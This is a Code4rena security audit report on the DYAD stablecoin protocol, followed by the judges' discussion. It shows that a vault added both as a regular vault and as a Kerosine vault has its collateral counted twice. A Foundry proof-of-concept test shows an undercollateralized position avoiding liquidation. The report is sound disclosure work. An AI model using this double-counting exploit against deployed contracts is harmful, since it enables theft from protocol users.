By adding a vault as both KerosineVault and Vault, users' collateralRatio is instantly 1:1, but protocol thinks it is 2:1.

[c4-bot-3]

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/script/deploy/Deploy.V2.s.sol#L64-L65 https://github.com/code-423n4/2024-04-dyad/blob/main/script/deploy/Deploy.V2.s.sol#L93-L94

Vulnerability details

Impact

By adding a vault as both KerosineVault and Vault, users collateralRatio is 1:1, but protocol thinks it is 2:1.

Now, when price of collateral drops and collateralRatio is less than 100%(not even 150%), protocol still thinks position is healthy.

From the Deploy.V2.s.sol script, we can see that ethVault and wsteth vault are both added in vaultLicenser and kerosineManager. This allows users to both add and addKerosene either of the vaults,guaranteeing that this bug will surface.

Likelihood: High, Impact: High. Severity: High

Proof of Concept

Here is a test case that demonstrates this bug. Check "Full Proof of Concept test file" section of this report to copy and run the full test file:

    function test_add_as_vault_and_kerosineVault() public {
        uint id1 = mintDNft(alice);
        uint id2 = mintDNft(bob);
        uint amount = 100 ether;

        vm.startPrank(alice);
        vaultManagerV2.add(id1, address(daiVault));
        vaultManagerV2.addKerosene(id1, address(daiVault));

        dai.mint(alice, amount);
        dai.approve(address(vaultManagerV2), amount);
        vaultManagerV2.deposit(id1, address(daiVault), amount);
        //User mints equivalent amount of collateral he deposited.
        vaultManagerV2.mintDyad(id1, amount, alice);
        //he won't get liquidated even when price of his collateral drops
        daiOracle.setPrice(9e7);

        vm.stopPrank();

        //grant bob some dyad for liquidation
        deal(address(dyad), address(bob), amount);

        vm.expectRevert();
        vm.prank(bob);
        vaultManagerV2.liquidate(id1, id2);
    }

Here is what happened in the coded PoC:

• A vault(daiVault) was added in both kerosineManager and vaultLicenser, allowing users to both add and addKerosene that vault
• Alice deposited $100 worth of dai
• Alice minted $100 worth of dyad.
  • As we can see, collatRatio is 1:1, but protocol calculates total collateral for a user as nonKeroseneValue+keroseneValue=100+100=$200. This is why it didn't revert.
• Price of dai dropped further to $0.9, making his collateral value $90, and collateralRatio 90%.
• Bob tries to liquidate Alice, but the call fails because protocol thinks collateralRatio is 180%

Full Proof of Concept test file

Create a new test file under "test" folder and copy in the following. Run with forge test --match-test test_add_as_vault_and_kerosineVault -vv :

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import {DeployBase, Contracts} from "../script/deploy/DeployBase.s.sol";
import {Parameters} from "../src/params/Parameters.sol";
import {DNft} from "../src/core/DNft.sol";
import {Dyad} from "../src/core/Dyad.sol";
import {Licenser} from "../src/core/Licenser.sol";
import {VaultManagerV2} from "../src/core/VaultManagerV2.sol";
import {Vault} from "../src/core/Vault.sol";
import {KerosineManager} from "../src/core/KerosineManager.sol";
import {UnboundedKerosineVault} from "../src/core/Vault.kerosine.unbounded.sol";
import {Payments} from "../src/periphery/Payments.sol";
import {OracleMock} from "./OracleMock.sol";
import {ERC20Mock} from "./ERC20Mock.sol";
import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";

import {KerosineDenominator} from "../src/staking/KerosineDenominator.sol";

contract MockKerosineDenominator is Parameters {
    ERC20 public kerosine;

    constructor(ERC20 _kerosine) {
        kerosine = _kerosine;
    }

    function denominator() external view returns (uint) {
        return 1000000000000000000000000000 - 950841953470486444914439000;
    }
}

contract Whitehat is Test, Parameters {
    DNft dNft;
    Licenser vaultManagerLicenser;
    Licenser vaultLicenser;
    Dyad dyad;
    VaultManagerV2 vaultManagerV2;
    KerosineManager kerosineManager;
    UnboundedKerosineVault kerosineVault;
    Payments payments;

    // weth
    Vault wethVault;
    ERC20Mock weth;
    OracleMock wethOracle;

    // dai
    Vault daiVault;
    ERC20Mock dai;
    OracleMock daiOracle;

    ERC20Mock kerosine;

    address alice = address(1);
    address bob = address(2);

    function setUp() public {
        dNft = new DNft();
        weth = new ERC20Mock("WETH-TEST", "WETHT");
        wethOracle = new OracleMock(1000e8);

        Contracts memory contracts = new DeployBase().deploy(
            msg.sender,
            address(dNft),
            address(weth),
            address(wethOracle),
            GOERLI_FEE,
            GOERLI_FEE_RECIPIENT
        );

        vaultManagerLicenser = contracts.vaultManagerLicenser;
        vaultLicenser = contracts.vaultLicenser;
        dyad = contracts.dyad;
        payments = contracts.payments;
        vaultManagerV2 = new VaultManagerV2(dNft, dyad, vaultLicenser);

        //create the wethVault
        wethVault = new Vault(
            vaultManagerV2,
            ERC20(address(weth)),
            IAggregatorV3(address(wethOracle))
        );
        // create the DAI vault
        dai = new ERC20Mock("DAI-TEST", "DAIT");
        daiOracle = new OracleMock(1e8);
        daiVault = new Vault(
            vaultManagerV2,
            ERC20(address(dai)),
            IAggregatorV3(address(daiOracle))
        );
        kerosine = new ERC20Mock("KEROSINE", "KER");

        kerosineManager = new KerosineManager();
        vaultManagerV2.setKeroseneManager(kerosineManager);

        kerosineVault = new UnboundedKerosineVault(
            vaultManagerV2,
            kerosine,
            dyad,
            kerosineManager
        );
        MockKerosineDenominator kerosineDenominator = new MockKerosineDenominator(
                kerosine
            );
        kerosineVault.setDenominator(
            KerosineDenominator(address(kerosineDenominator))
        );

        //add vaultManagerV2 to vaultLicenser
        vm.prank(vaultManagerLicenser.owner());
        vaultManagerLicenser.add(address(vaultManagerV2));

        // add the DAI vault
        vm.startPrank(vaultLicenser.owner());
        vaultLicenser.add(address(daiVault));
        vaultLicenser.add(address(wethVault));
        vaultLicenser.add(address(kerosineVault));
        vm.stopPrank();

        //add the kerosine vault
        kerosineManager.add(address(daiVault));
        kerosineManager.add(address(wethVault));
    }

    function test_add_as_vault_and_kerosineVault() public {
        uint id1 = mintDNft(alice);
        uint id2 = mintDNft(bob);
        uint amount = 100 ether;

        vm.startPrank(alice);
        vaultManagerV2.add(id1, address(daiVault));
        vaultManagerV2.addKerosene(id1, address(daiVault));

        dai.mint(alice, amount);
        dai.approve(address(vaultManagerV2), amount);
        vaultManagerV2.deposit(id1, address(daiVault), amount);
        //User mints equivalent amount of collateral he deposited.
        vaultManagerV2.mintDyad(id1, amount, alice);
        //he won't get liquidated even when price of his collateral drops
        daiOracle.setPrice(9e7);

        vm.stopPrank();

        //grant bob some dyad for liquidation
        deal(address(dyad), address(bob), amount);

        vm.expectRevert();
        vm.prank(bob);
        vaultManagerV2.liquidate(id1, id2);
    }

    //helpers
    function mintDNft(address who) public returns (uint) {
        return dNft.mintNft{value: 1 ether}(who);
    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

TotalCollateralValue or totalUsdValue of a user should be calculated by iterating through and summing the values in vaults listed in the user's vaults[id] and vaultsKerosene[id] mapping. If the current vault in the iteration has been seen before, the value should not be readded and loop should be continued

Assessed type

Error

[c4-pre-sort]

JustDravee marked the issue as duplicate of #105

[c4-pre-sort]

JustDravee marked the issue as sufficient quality report

[c4-judge]

koolexcrypto marked the issue as unsatisfactory: Invalid

[Emedudu]

Hi @koolexcrypto , This issue was incorrectly duped to issue #105 , which is an invalid issue.

Can you take another look at this issue please?

I believe this is a high severity issue, as the likelihood is certain(100% likelihood), and the impact is a significant theft or loss of funds.

Here are some issues which I believe are valid duplicates of this issue:

1130

464

243

220

124

Edit... The issues mentioned above, including this issue(#1142) are duplicates of #966

[koolexcrypto]

Hi @Emedudu

Thank you for your feedback.

This seems to be valid and a dup of #872.

[Emedudu]

Hello @koolexcrypto , Just want to make sure you didn't omit this

[c4-judge]

koolexcrypto removed the grade

[c4-judge]

koolexcrypto marked the issue as not a duplicate

[c4-judge]

koolexcrypto marked the issue as duplicate of #1133

[c4-judge]

koolexcrypto marked the issue as satisfactory